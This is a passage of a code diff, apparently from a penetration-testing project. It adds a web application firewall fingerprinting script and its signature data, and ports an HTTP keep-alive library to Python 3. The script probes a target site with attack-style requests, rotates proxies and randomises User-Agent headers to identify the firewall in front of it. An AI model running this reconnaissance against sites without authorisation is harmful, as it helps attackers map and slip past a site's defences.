"2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC", + "4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC", + "8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC", + "540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC", + "c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC", + "b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC", + "3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC", + "620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", + "b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC", + "ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC", + "9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", + "4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", + "8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC" + ] + }, + "astra": { + "company": "Czar Securities", + "name": "Astra", + "regex": "(?s)unfortunately our website protection system.+?//www\\.getastra\\.com", + "signatures": [] + }, + "aws": { + "company": "Amazon", + "name": "AWS WAF", + "regex": "(?i)HTTP/1.+\\b403\\b.+\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront", + "signatures": [ + "2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "barracuda": { + "company": "Barracuda Networks", + "name": "Barracuda", + "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page|||<[^>]+>|\s+", " ", retval[HTML]) + match = re.search(r"(?im)^Server: (.+)", retval[RAW]) + retval[SERVER] = match.group(1).strip() if match else "" + return retval + +def calc_hash(value, binary=True): + value = value.encode("utf8") if not isinstance(value, bytes) else value + result = zlib.crc32(value) & 0xffff + if binary: + result = struct.pack(">H", result) + return result + +def single_print(message): + if message not in seen: + print(message) + seen.add(message) + +def check_payload(payload, protection_regex=GENERIC_PROTECTION_REGEX % '|'.join(GENERIC_PROTECTION_KEYWORDS)): + global chained + global heuristic + global intrusive + global locked_code + global locked_regex + + time.sleep(options.delay or 0) + if options.post: + _ = "%s=%s" % ("".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(options.url, _) + else: + _ = "%s%s%s=%s" % (options.url, '?' if '?' not in options.url else '&', "".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(_) + + if options.lock and not payload.isdigit(): + if payload == HEURISTIC_PAYLOAD: + match = re.search(re.sub(r"Server:|Protected by", "".join(random.sample(string.ascii_letters, 6)), WAF_RECOGNITION_REGEX, flags=re.I), intrusive[RAW] or "") + if match: + result = True + + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + locked_regex = DATA_JSON["wafs"][waf]["regex"] + locked_code = intrusive[HTTPCODE] + break + else: + result = False + + if not result: + exit(colorize("[x] can't lock results to a non-blind match")) + else: + result = re.search(locked_regex, intrusive[RAW]) is not None and locked_code == intrusive[HTTPCODE] + elif options.string: + result = options.string in (intrusive[RAW] or "") + elif options.code: + result = options.code == intrusive[HTTPCODE] + else: + result = intrusive[HTTPCODE] != original[HTTPCODE] or (intrusive[HTTPCODE] != 200 and intrusive[TITLE] != original[TITLE]) or (re.search(protection_regex, intrusive[HTML]) is not None and re.search(protection_regex, original[HTML]) is None) or (difflib.SequenceMatcher(a=original[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD) + + if not payload.isdigit(): + if result: + if options.debug: + print("\r---%s" % (40 * ' ')) + print(payload) + print(intrusive[HTTPCODE], intrusive[RAW]) + print("---") + + if intrusive[SERVER]: + servers.add(re.sub(r"\s*\(.+\)\Z", "", intrusive[SERVER])) + if len(servers) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP 'Server' headers detected (%s)" % ', '.join("'%s'" % _ for _ in sorted(servers)))) + + if intrusive[HTTPCODE]: + codes.add(intrusive[HTTPCODE]) + if len(codes) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP codes detected (%s)" % ', '.join("%s" % _ for _ in sorted(codes)))) + + if heuristic and heuristic[HTML] and intrusive[HTML] and difflib.SequenceMatcher(a=heuristic[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTML responses detected")) + + if payload == HEURISTIC_PAYLOAD: + heuristic = intrusive + + return result + +def colorize(message): + if COLORIZE: + message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) + + if any(_ in message for _ in ("rejected summary", "challenge detected")): + for match in re.finditer(r"[^\w]'([^)]+)'" if "rejected summary" in message else r"\('(.+)'\)", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + + if "blind match" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (92 if int(match.group(2)) >= 95 else (93 if int(match.group(2)) > 80 else 90), match.group(1))) + + if "hardness" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (95 if " insane " in message else (91 if " hard " in message else (93 if " moderate " in message else 92)), match.group(1))) + + return message + +def parse_args(): + global options + + parser = optparse.OptionParser(version=VERSION) + parser.add_option("--delay", dest="delay", type=int, help="Delay (sec) between tests (default: 0)") + parser.add_option("--timeout", dest="timeout", type=int, help="Response timeout (sec) (default: 10)") + parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") + parser.add_option("--proxy-file", dest="proxy_file", help="Load (rotating) HTTP(s) proxy list from a file") + parser.add_option("--random-agent", dest="random_agent", action="store_true", help="Use random HTTP User-Agent header value") + parser.add_option("--code", dest="code", type=int, help="Expected HTTP code in rejected responses") + parser.add_option("--string", dest="string", help="Expected string in rejected responses") + parser.add_option("--post", dest="post", action="store_true", help="Use POST body for sending payloads") + parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--fast", dest="fast", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--lock", dest="lock", action="store_true", help=optparse.SUPPRESS_HELP) + + # Dirty hack(s) for help message + def _(self, *args): + retval = parser.formatter._format_option_strings(*args) + if len(retval) > MAX_HELP_OPTION_LENGTH: + retval = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retval + return retval + + parser.usage = "python %s " % parser.usage + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + + for _ in ("-h", "--version"): + option = parser.get_option(_) + option.help = option.help.capitalize() + + try: + options, _ = parser.parse_args() + except SystemExit: + raise + + if len(sys.argv) > 1: + url = sys.argv[-1] + if not url.startswith("http"): + url = "http://%s" % url + options.url = url + else: + parser.print_help() + raise SystemExit + + for key in DEFAULTS: + if getattr(options, key, None) is None: + setattr(options, key, DEFAULTS[key]) + +def load_data(): + global WAF_RECOGNITION_REGEX + + if os.path.isfile(DATA_JSON_FILE): + with open(DATA_JSON_FILE, "r") as f: + DATA_JSON.update(json.load(f)) + + WAF_RECOGNITION_REGEX = "" + for waf in DATA_JSON["wafs"]: + if DATA_JSON["wafs"][waf]["regex"]: + WAF_RECOGNITION_REGEX += "%s|" % ("(?P%s)" % (waf, DATA_JSON["wafs"][waf]["regex"])) + for signature in DATA_JSON["wafs"][waf]["signatures"]: + SIGNATURES[signature] = waf + WAF_RECOGNITION_REGEX = WAF_RECOGNITION_REGEX.strip('|') + + flags = "".join(set(_ for _ in "".join(re.findall(r"\(\?(\w+)\)", WAF_RECOGNITION_REGEX)))) + WAF_RECOGNITION_REGEX = "(?%s)%s" % (flags, re.sub(r"\(\?\w+\)", "", WAF_RECOGNITION_REGEX)) # patch for "DeprecationWarning: Flags not at the start of the expression" in Python3.7 + else: + exit(colorize("[x] file '%s' is missing" % DATA_JSON_FILE)) + +def init(): + os.chdir(os.path.abspath(os.path.dirname(__file__))) + + # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html + if not PY3 and not IS_TTY: + sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) + + print(colorize("[o] initializing handlers...")) + + # Reference: https://stackoverflow.com/a/28052583 + if hasattr(ssl, "_create_unverified_context"): + ssl._create_default_https_context = ssl._create_unverified_context + + if options.proxy_file: + if os.path.isfile(options.proxy_file): + print(colorize("[o] loading proxy list...")) + + with open(options.proxy_file, "r") as f: + proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) + random.shuffle(proxies) + else: + exit(colorize("[x] file '%s' does not exist" % options.proxy_file)) + + + cookie_jar = CookieJar() + opener = build_opener(HTTPCookieProcessor(cookie_jar)) + install_opener(opener) + + if options.proxy: + opener = build_opener(ProxyHandler({"http": options.proxy, "https": options.proxy})) + install_opener(opener) + + if options.random_agent: + revision = random.randint(20, 64) + platform = random.sample(("X11; %s %s" % (random.sample(("Linux", "Ubuntu; Linux", "U; Linux", "U; OpenBSD", "U; FreeBSD"), 1)[0], random.sample(("amd64", "i586", "i686", "amd64"), 1)[0]), "Windows NT %s%s" % (random.sample(("5.0", "5.1", "5.2", "6.0", "6.1", "6.2", "6.3", "10.0"), 1)[0], random.sample(("", "; Win64", "; WOW64"), 1)[0]), "Macintosh; Intel Mac OS X 10.%s" % random.randint(1, 11)), 1)[0] + user_agent = "Mozilla/5.0 (%s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (platform, revision, revision) + HEADERS["User-Agent"] = user_agent + +def format_name(waf): + return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") + +def non_blind_check(raw, silent=False): + retval = False + match = re.search(WAF_RECOGNITION_REGEX, raw or "") + if match: + retval = True + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + non_blind.add(waf) + if not silent: + single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) + return retval + +def run(): + global original + + hostname = options.url.split("//")[-1].split('/')[0].split(':')[0] + + if not hostname.replace('.', "").isdigit(): + print(colorize("[i] checking hostname '%s'..." % hostname)) + try: + socket.getaddrinfo(hostname, None) + except socket.gaierror: + exit(colorize("[x] host '%s' does not exist" % hostname)) + + results = "" + signature = b"" + counter = 0 + original = retrieve(options.url) + + if 300 <= (original[HTTPCODE] or 0) < 400 and original[URL]: + original = retrieve(original[URL]) + + options.url = original[URL] + + if original[HTTPCODE] is None: + exit(colorize("[x] missing valid response")) + + if not any((options.string, options.code)) and original[HTTPCODE] >= 400: + non_blind_check(original[RAW]) + if options.debug: + print("\r---%s" % (40 * ' ')) + print(original[HTTPCODE], original[RAW]) + print("---") + exit(colorize("[x] access to host '%s' seems to be restricted%s" % (hostname, (" (%d: '%s')" % (original[HTTPCODE], original[TITLE].strip())) if original[TITLE] else ""))) + + challenge = None + if all(_ in original[HTML].lower() for _ in ("eval", "]*>(.*)", re.sub(r"(?is)", "", original[HTML])) + if re.search(r"(?i)<(body|div)", original[HTML]) is None or (match and len(match.group(1)) == 0): + challenge = re.search(r"(?is)", original[HTML]).group(0).replace("\n", "\\n") + print(colorize("[x] anti-robot JS challenge detected ('%s%s')" % (challenge[:MAX_JS_CHALLENGE_SNAPLEN], "..." if len(challenge) > MAX_JS_CHALLENGE_SNAPLEN else ""))) + + protection_keywords = GENERIC_PROTECTION_KEYWORDS + protection_regex = GENERIC_PROTECTION_REGEX % '|'.join(keyword for keyword in protection_keywords if keyword not in original[HTML].lower()) + + print(colorize("[i] running basic heuristic test...")) + if not check_payload(HEURISTIC_PAYLOAD): + check = False + if options.url.startswith("https://"): + options.url = options.url.replace("https://", "http://") + check = check_payload(HEURISTIC_PAYLOAD) + if not check: + if non_blind_check(intrusive[RAW]): + exit(colorize("[x] unable to continue due to static responses%s" % (" (captcha)" if re.search(r"(?i)captcha", intrusive[RAW]) is not None else ""))) + elif challenge is None: + exit(colorize("[x] host '%s' does not seem to be protected" % hostname)) + else: + exit(colorize("[x] response not changing without JS challenge solved")) + + if options.fast and not non_blind: + exit(colorize("[x] fast exit because of missing non-blind match")) + + if not intrusive[HTTPCODE]: + print(colorize("[i] rejected summary: RST|DROP")) + else: + _ = "...".join(match.group(0) for match in re.finditer(GENERIC_ERROR_MESSAGE_REGEX, intrusive[HTML])).strip().replace(" ", " ") + print(colorize(("[i] rejected summary: %d ('%s%s')" % (intrusive[HTTPCODE], ("%s" % intrusive[TITLE]) if intrusive[TITLE] else "", "" if not _ or intrusive[HTTPCODE] < 400 else ("...%s" % _))).replace(" ('')", ""))) + + found = non_blind_check(intrusive[RAW] if intrusive[HTTPCODE] is not None else original[RAW]) + + if not found: + print(colorize("[-] non-blind match: -")) + + for item in DATA_JSON["payloads"]: + info, payload = item.split("::", 1) + counter += 1 + + if IS_TTY: + sys.stdout.write(colorize("\r[i] running payload tests... (%d/%d)\r" % (counter, len(DATA_JSON["payloads"])))) + sys.stdout.flush() + + if counter % VERIFY_OK_INTERVAL == 0: + for i in xrange(VERIFY_RETRY_TIMES): + if not check_payload(str(random.randint(1, 9)), protection_regex): + break + elif i == VERIFY_RETRY_TIMES - 1: + exit(colorize("[x] host '%s' seems to be misconfigured or rejecting benign requests%s" % (hostname, (" (%d: '%s')" % (intrusive[HTTPCODE], intrusive[TITLE].strip())) if intrusive[TITLE] else ""))) + else: + time.sleep(5) + + last = check_payload(payload, protection_regex) + non_blind_check(intrusive[RAW]) + signature += struct.pack(">H", ((calc_hash(payload, binary=False) << 1) | last) & 0xffff) + results += 'x' if last else '.' + + if last and info not in blocked: + blocked.append(info) + + _ = calc_hash(signature) + signature = "%s:%s" % (_.encode("hex") if not hasattr(_, "hex") else _.hex(), base64.b64encode(signature).decode("ascii")) + + print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) + + hardness = 100 * results.count('x') // len(results) + print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) + + if blocked: + print(colorize("[=] blocked categories: %s" % ", ".join(blocked))) + + if not results.strip('.') or not results.strip('x'): + print(colorize("[-] blind match: -")) + + if re.search(r"(?i)captcha", original[HTML]) is not None: + exit(colorize("[x] there seems to be an activated captcha")) + else: + print(colorize("[=] signature: '%s'" % signature)) + + if signature in SIGNATURES: + waf = SIGNATURES[signature] + print(colorize("[+] blind match: '%s' (100%%)" % format_name(waf))) + elif results.count('x') < MIN_MATCH_PARTIAL: + print(colorize("[-] blind match: -")) + else: + matches = {} + markers = set() + decoded = base64.b64decode(signature.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + markers.add(part) + + for candidate in SIGNATURES: + counter_y, counter_n = 0, 0 + decoded = base64.b64decode(candidate.split(':')[-1]) + for i in xrange(0, len(decoded), 2): + part = struct.unpack(">H", decoded[i: i + 2])[0] + if part in markers: + counter_y += 1 + elif any(_ in markers for _ in (part & ~1, part | 1)): + counter_n += 1 + result = int(round(100.0 * counter_y / (counter_y + counter_n))) + if SIGNATURES[candidate] in matches: + if result > matches[SIGNATURES[candidate]]: + matches[SIGNATURES[candidate]] = result + else: + matches[SIGNATURES[candidate]] = result + + if chained: + for _ in list(matches.keys()): + if matches[_] < 90: + del matches[_] + + if not matches: + print(colorize("[-] blind match: - ")) + print(colorize("[!] probably chained web protection systems")) + else: + matches = [(_[1], _[0]) for _ in matches.items()] + matches.sort(reverse=True) + + print(colorize("[+] blind match: %s" % ", ".join("'%s' (%d%%)" % (format_name(matches[i][1]), matches[i][0]) for i in xrange(min(len(matches), MAX_MATCHES) if matches[0][0] != 100 else 1)))) + + print() + +def main(): + if "--version" not in sys.argv: + print(BANNER) + + parse_args() + init() + run() + +load_data() + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + exit(colorize("\r[x] Ctrl-C pressed")) diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 5422d5ac5fd..2a5662e4e52 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -12,9 +12,9 @@ # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the -# Free Software Foundation, Inc., -# 59 Temple Place, Suite 330, +# License along with this library; if not, write to the +# Free Software Foundation, Inc., +# 59 Temple Place, Suite 330, # Boston, MA 02111-1307 USA # This file was part of urlgrabber, a high-level cross-protocol url-grabber @@ -26,10 +26,10 @@ >>> import urllib2 >>> from keepalive import HTTPHandler >>> keepalive_handler = HTTPHandler() ->>> opener = urllib2.build_opener(keepalive_handler) ->>> urllib2.install_opener(opener) ->>> ->>> fo = urllib2.urlopen('http://www.python.org') +>>> opener = _urllib.request.build_opener(keepalive_handler) +>>> _urllib.request.install_opener(opener) +>>> +>>> fo = _urllib.request.urlopen('http://www.python.org') If a connection to a given host is requested, and all of the existing connections are still in use, another connection will be opened. If @@ -103,12 +103,19 @@ """ -# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $ +from __future__ import print_function + +try: + from thirdparty.six.moves import http_client as _http_client + from thirdparty.six.moves import range as _range + from thirdparty.six.moves import urllib as _urllib +except ImportError: + from six.moves import http_client as _http_client + from six.moves import range as _range + from six.moves import urllib as _urllib -import urllib2 -import httplib import socket -import thread +import threading DEBUG = None @@ -122,7 +129,7 @@ class ConnectionManager: * keep track of all existing """ def __init__(self): - self._lock = thread.allocate_lock() + self._lock = threading.Lock() self._hostmap = {} # map hosts to a list of connections self._connmap = {} # map connections to host self._readymap = {} # map connection to ready state @@ -130,7 +137,7 @@ def __init__(self): def add(self, host, connection, ready): self._lock.acquire() try: - if not self._hostmap.has_key(host): self._hostmap[host] = [] + if host not in self._hostmap: self._hostmap[host] = [] self._hostmap[host].append(connection) self._connmap[connection] = host self._readymap[connection] = ready @@ -147,22 +154,26 @@ def remove(self, connection): else: del self._connmap[connection] del self._readymap[connection] - self._hostmap[host].remove(connection) + try: + self._hostmap[host].remove(connection) + except ValueError: + pass if not self._hostmap[host]: del self._hostmap[host] finally: self._lock.release() def set_ready(self, connection, ready): - try: self._readymap[connection] = ready - except KeyError: pass + self._lock.acquire() + if connection in self._readymap: self._readymap[connection] = ready + self._lock.release() def get_ready_conn(self, host): conn = None - self._lock.acquire() try: - if self._hostmap.has_key(host): + self._lock.acquire() + if host in self._hostmap: for c in self._hostmap[host]: - if self._readymap[c]: + if self._readymap.get(c): self._readymap[c] = 0 conn = c break @@ -171,10 +182,14 @@ def get_ready_conn(self, host): return conn def get_all(self, host=None): - if host: - return list(self._hostmap.get(host, [])) - else: - return dict(self._hostmap) + self._lock.acquire() + try: + if host: + return list(self._hostmap.get(host, [])) + else: + return dict(self._hostmap) + finally: + self._lock.release() class KeepAliveHandler: def __init__(self): @@ -214,7 +229,7 @@ def _remove_connection(self, host, connection, close=0): def do_open(self, req): host = req.host if not host: - raise urllib2.URLError('no host given') + raise _urllib.error.URLError('no host given') try: h = self._cm.get_ready_conn(host) @@ -235,11 +250,11 @@ def do_open(self, req): h = self._get_connection(host) if DEBUG: DEBUG.info("creating new connection to %s (%d)", host, id(h)) - self._cm.add(host, h, 0) self._start_transaction(h, req) r = h.getresponse() - except (socket.error, httplib.HTTPException) as err: - raise urllib2.URLError(err) + self._cm.add(host, h, 0) + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason) @@ -247,6 +262,7 @@ def do_open(self, req): if r.will_close: if DEBUG: DEBUG.info('server will close connection, discarding') self._cm.remove(h) + h.close() r._handler = self r._host = host @@ -254,13 +270,12 @@ def do_open(self, req): r._connection = h r.code = r.status r.headers = r.msg - r.msg = r.reason if r.status == 200 or not HANDLE_ERRORS: return r else: return self.parent.error('http', req, r, - r.status, r.msg, r.headers) + r.status, r.reason, r.headers) def _reuse_connection(self, h, req, host): """start the transaction with a re-used connection @@ -274,9 +289,9 @@ def _reuse_connection(self, h, req, host): r = h.getresponse() # note: just because we got something back doesn't mean it # worked. We'll check the version below, too. - except (socket.error, httplib.HTTPException): + except (socket.error, _http_client.HTTPException): r = None - except: + except Exception: # adding this block just in case we've missed # something we will still raise the exception, but # lets try and close the connection and remove it @@ -307,41 +322,41 @@ def _reuse_connection(self, h, req, host): def _start_transaction(self, h, req): try: - if req.has_data(): + if req.data is not None: data = req.data if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - if not req.headers.has_key('Content-type'): + if not req.has_header('Content-type'): h.putheader('Content-type', 'application/x-www-form-urlencoded') - if not req.headers.has_key('Content-length'): + if not req.has_header('Content-length'): h.putheader('Content-length', '%d' % len(data)) else: if hasattr(req, 'selector'): h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) else: h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) - except (socket.error, httplib.HTTPException) as err: - raise urllib2.URLError(err) + except (socket.error, _http_client.HTTPException) as err: + raise _urllib.error.URLError(err) - if not req.headers.has_key('Connection'): - req.headers['Connection'] = 'keep-alive' + if not req.has_header('Connection'): + h.putheader('Connection', 'keep-alive') for args in self.parent.addheaders: - if not req.headers.has_key(args[0]): + if not req.has_header(args[0]): h.putheader(*args) for k, v in req.headers.items(): h.putheader(k, v) h.endheaders() - if req.has_data(): + if req.data is not None: h.send(data) def _get_connection(self, host): - return NotImplementedError + raise NotImplementedError() -class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler): +class HTTPHandler(KeepAliveHandler, _urllib.request.HTTPHandler): def __init__(self): KeepAliveHandler.__init__(self) @@ -351,7 +366,7 @@ def http_open(self, req): def _get_connection(self, host): return HTTPConnection(host) -class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler): +class HTTPSHandler(KeepAliveHandler, _urllib.request.HTTPSHandler): def __init__(self, ssl_factory=None): KeepAliveHandler.__init__(self) if not ssl_factory: @@ -366,10 +381,12 @@ def https_open(self, req): return self.do_open(req) def _get_connection(self, host): - try: return self._ssl_factory.get_https_connection(host) - except AttributeError: return HTTPSConnection(host) + if self._ssl_factory: + return self._ssl_factory.get_https_connection(host) + else: + return HTTPSConnection(host) -class HTTPResponse(httplib.HTTPResponse): +class HTTPResponse(_http_client.HTTPResponse): # we need to subclass HTTPResponse in order to # 1) add readline() and readlines() methods # 2) add close_connection() methods @@ -390,10 +407,10 @@ class HTTPResponse(httplib.HTTPResponse): def __init__(self, sock, debuglevel=0, strict=0, method=None): - if method: # the httplib in python 2.3 uses the method arg - httplib.HTTPResponse.__init__(self, sock, debuglevel, method) - else: # 2.2 doesn't - httplib.HTTPResponse.__init__(self, sock, debuglevel) + if method: + _http_client.HTTPResponse.__init__(self, sock, debuglevel, method=method) + else: + _http_client.HTTPResponse.__init__(self, sock, debuglevel) self.fileno = sock.fileno self.code = None self._method = method @@ -404,7 +421,7 @@ def __init__(self, sock, debuglevel=0, strict=0, method=None): self._url = None # (same) self._connection = None # (same) - _raw_read = httplib.HTTPResponse.read + _raw_read = _http_client.HTTPResponse.read def close(self): if self.fp: @@ -414,6 +431,10 @@ def close(self): self._handler._request_closed(self, self._host, self._connection) + # Note: Patch for Python3 (otherwise, connections won't be reusable) + def _close_conn(self): + self.close() + def close_connection(self): self._handler._remove_connection(self._host, self._connection, close=1) self.close() @@ -442,11 +463,11 @@ def read(self, amt=None): def readline(self, limit=-1): data = b"" - i = self._rbuf.find('\n') + i = self._rbuf.find(b'\n') while i < 0 and not (0 < limit <= len(self._rbuf)): new = self._raw_read(self._rbufsize) if not new: break - i = new.find('\n') + i = new.find(b'\n') if i >= 0: i = i + len(self._rbuf) self._rbuf = self._rbuf + new if i < 0: i = len(self._rbuf) @@ -457,22 +478,22 @@ def readline(self, limit=-1): def readlines(self, sizehint = 0): total = 0 - list = [] + lines = [] while 1: line = self.readline() if not line: break - list.append(line) + lines.append(line) total += len(line) if sizehint and total >= sizehint: break - return list + return lines -class HTTPConnection(httplib.HTTPConnection): +class HTTPConnection(_http_client.HTTPConnection): # use the modified response class response_class = HTTPResponse -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): response_class = HTTPResponse ######################################################################### @@ -483,86 +504,86 @@ def error_handler(url): global HANDLE_ERRORS orig = HANDLE_ERRORS keepalive_handler = HTTPHandler() - opener = urllib2.build_opener(keepalive_handler) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(keepalive_handler) + _urllib.request.install_opener(opener) pos = {0: 'off', 1: 'on'} for i in (0, 1): - print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i) + print(" fancy 